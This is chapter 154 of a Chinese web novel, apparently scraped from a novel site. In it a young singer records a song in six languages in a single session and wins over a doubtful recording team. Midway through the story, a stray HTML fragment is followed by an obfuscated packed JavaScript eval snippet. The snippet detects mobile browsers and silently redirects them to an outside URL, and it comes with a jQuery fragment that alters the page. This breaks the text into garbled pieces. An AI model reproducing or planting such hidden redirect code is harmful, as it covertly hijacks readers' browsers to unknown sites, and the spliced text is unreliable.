154. 第154章
作品:《卷王练习生爆红娱乐圈》 张雨风怔怔地看着童司因。
隔着录音间玻璃,张了张嘴,愣是没能说出话来。
童司因没有等到人回应,慢慢睁开了微阖的双眼。
在众人身上环视一周,重复道。
“老师们?”
直到此时,录音团队才终于反应过来。
对!
童司因今天状态太好了,之前从未有过的好!
这种状态可遇不可求,万一以后找不到怎么办?
要趁机多录制几个版本才行!
众人从音乐的沉浸感中匆忙回过神来,重新操作起了机器。
伴奏音乐再次响了起来。
在众人期待的眼神里,童司因没有多说半个字,迅速投入第二遍的录制中。
本以为第一次录制已经足够让人惊艳了,众人没有想到的是,第二遍比第一遍效果还要好!
还是相同的前奏,还是相同的歌词,童司因仿佛渐入佳境般,所有的状态都更上一层楼。
所有人的情绪波动,全都跟着她的声音起伏,整个身心都难以抑制地沉浸其中。
尤其是最后的高潮部分,情绪更是被顶到了极致!
直到音乐结束,还是令人心绪久久不能平息!
“好!”
张雨风终于按捺不住,径直拍案出声!
童司因的状态,完全颠覆了张雨风内心的想象。
对于对方所说的“调整状态”,她虽然尊重这种态度,可打心眼里是轻视的。
她从来没有想过,眼前这个女生可以在几天内,带来截然不同的演绎效果。
直到此时此刻,她才深切的意识到,这个年轻的女生,跟自己想象得完全不一样。
之前所有的疑虑,疑虑全部都她自己小人之心。
她有很久很久没有遇到过这样的新人了。
在第一遍听完后,她完全陷入震惊的状态,她甚至有些羞愧,才没有能及时反映第一时间发出夸赞的声音。
直到此时此刻,她才能调整好心态,坦然面对自己的错误。
爆发出一声发自内心的喝彩!
张雨风眼底毫无保留地迸发出欣赏之色,大声鼓起掌来。
随着她的掌声响起,录音团队的其他人也缓过神,齐刷刷抬手地鼓起掌来!
众人眼底有欣赏,也有歉意,不停地鼓着掌,用对热烈的态度,等待着童司因走出录音隔间。
谁知…
童司因完全没有看到这一幕,带着录音棚的隔音设备,她也根本听不到任何声音。
她甚至没有睁开眼,只是身体向前微欠,对着话筒重复道。
“老师们,请再来一遍。”
“你…”
张雨风下意识想要开口制止,告诉童司因:你这两遍已经够了,录音的效果已经足够好了…
还没等她说出口,却发现身边的录音团队,已经老老实实地打开设备开关。
熟悉的旋律第三次响了起来。
张雨风呼吸顿了顿,看着童司因早已进入状态,最终还是没忍心开口打断她。
——罢了,多录一遍也没什么,多录一遍就多一个选择。
还是熟悉的鼓点声和唢呐,熟悉的前奏结束后。
童司因的声音再次响起。
与之前两次不同的是,这次她口中吐出的…
是一串众人听不懂的语言。
众人茫然互相对视着,等了好几秒钟,后知后觉地反应过来。
这好像是…法语。
可,可是…
录音团队的任务是两周内录制两门语言版本,法语版本…不是第二周的工作吗?
童司因已经提前准备好了?
显然,现在问也来不及了。
没有人会在现在问童司因,这种状态下,没有人会去打断她!
既然她想要录,就给她录!
那些所谓的准备,本就是童司因自己来做的。
她准备好一个语言版本,团队就给她录一个版本。
作为录音团队来讲,大家今天来到这里就是要上班,录制什么内容没有差别。
既然童司因提前做好准备,趁着今天状态好,把两个语言版本都解决也不错,所有人都省心。
众人操作着录音设备,配合着录制起来。
童司因依旧维持着饱满状态,录制完了法语版本。
整个过程一气呵成!
等到旋律结束之后,她才终于缓了口气,拿起水杯喝了两口。
状态虽然很不错,但连续唱了三遍之后,难免有些口干舌燥。
录音团队茫然看着,童司因喝水短暂休息几秒后,对着话筒又一次开口,说出了同样的几个字。
“老师们,请再来一遍。”
录音团队:“……”
众人面面相觑,不确定地看向张雨风。
张雨风茫然地眨眨眼,她也不知道童司因是怎么想的。
是想把法语版本再录一遍?
刚才那条她细细听过,已经趋近于完美,没什么不满意的,但…
想要多录制一条保底也合理。
录就录吧。
熟悉的旋律,熟悉的节奏。
这一次童司因开口,又是一门新的语言:意大利语。
如今众人是真的懵了!
这两周的录制计划里,只有英语和法语版本啊,她怎么连意大利语都准备好了!
没有人能回答这个问题。
童司因熟练至极地开口。
依旧用极其饱满的状态,将意大利语录制完毕。
听到旋律再一次终止,众人终于歇了口气。
这次该结束了吧?
显然,并没有。
“老师们,请再来一遍。”
……
德语。
“老师们,请再来一遍。”
……
西班牙语。
“老师们,请再来一遍。”
……
日语。
童司因把这句话重复了六次!
一口气录制了六门语言!
她除去间歇时间喝了两口水之外,全程根本没停!
就这么毫不停歇地,将她掌握六个语言版本,全都录制了出来!
录到最后,张雨风甚至不在震惊了,人已经彻底麻了。
她难以置信地偷问明雯。
“…不是说只录制两个语言版本吗?怎么出来了六个?”
“这个语言版本都是因因翻译的呀,她翻译的快,录制进度就快。”
明雯耸了耸肩,状似不在意地开口道。
什…什么?!
张雨风瞪大了眼,她虽然没有问出口,但脸上分明写着。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282285|166878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
你说这歌词是谁翻译的?
录音团队是郑期之请来的,由于录制时间很紧张,她只是告诉了录音团队,这首歌很重要,最终质量要求很高。
却并没有细细解释《东方画卷》的来龙去脉,也没有跟对方解释,这首歌的翻译者和演唱者都是童司因一个人。
——毕竟,这些信息跟录制着实没什么关系。
明雯偷偷抿了抿唇,压住眼底的小得意,轻描淡写地确认了对方心底的疑惑。
“其实在月考之前,因因就翻译了四个半语言版本,只是那时候时间有限,只跟晨晨确认过两个,在月考舞台上也只唱了这两个。”
“她说最近这几天睡眠不太好,晚上无聊的时候,就顺手把剩下几门语言都翻译了。”
张雨风:“………………”
录音团队:“………………”
“唉,她说也不确定能不能行,先录着给老师们听一听。”
明雯眨了眨眼,笑道。
“不知道老师们对她的翻译稿还满意吗?”
众人:“…………”
大家都是刚刚听了现场版,这翻译词无论是节奏感还是听感都与旋律完美契合。
根本听不出半点瑕疵。
谁能想到这只是童司因两天临时翻译,还没有确认的最终稿?
当然,明雯也没有解释。
童司因所谓的临时翻译稿,跟最终稿根本没有区别。
她经手翻译的几个版本,连原作谢卞晨都挑不出半点毛病,基本没有什么修改的可能性。
听完明雯的解释,录音团队的脚下都是飘的。
他们原本还担心,童司因录制进度太慢,两周之内录不完,耽误单曲的上线时间。
这哪里能想到,她不仅一周就录完了,还超常发挥,一口气录了六个语言版本!
这哪里是惊喜。
简直…让人说不出话来!
“唯一的责任人,是我。”
直到此时此刻,张雨风才理解了这句话的含金量。
《东方画卷》是童司因单曲,她不仅会负责到底,而且会竭尽所能,做出令人难以想象的成绩!
童司因连续录了七遍,录了六个语言版本。
等到录制结束后,极致的情绪被消耗和释放完毕,身体才涌上了一股虚脱感。
她在录音隔间里缓了一会,才摘下耳机走了出来。
刚刚抬起视线,便对上了外面录音团队眼底复杂的情绪。
震惊,歉意,以及…敬畏。
童司因并不知道,在她进入录音隔间这段时间,外面的人心底经历了什么样的大起大落。
她茫然环顾一周,笑了笑。
“抱歉哈,我好容易找到状态,就想要一口气多录些,给大家添麻烦了,谢谢大家。”
“别别别,不用…”
“没有没有…”
“不是不是!”
录音团队众人慌忙地摆手,脸都忍不住微微涨红。
看到童司因刚刚所做的一切,又听了明雯的解释,众人那里不知道自己误会了童司因?
回忆着自己刚刚脑子的想法,众人简直无地自容,恨不得找个额地缝钻进去!
若是这时候再让童司因道歉,他们简直半夜惊醒都要从床上爬起来痛骂自己一句。
“我踏马真该死啊。”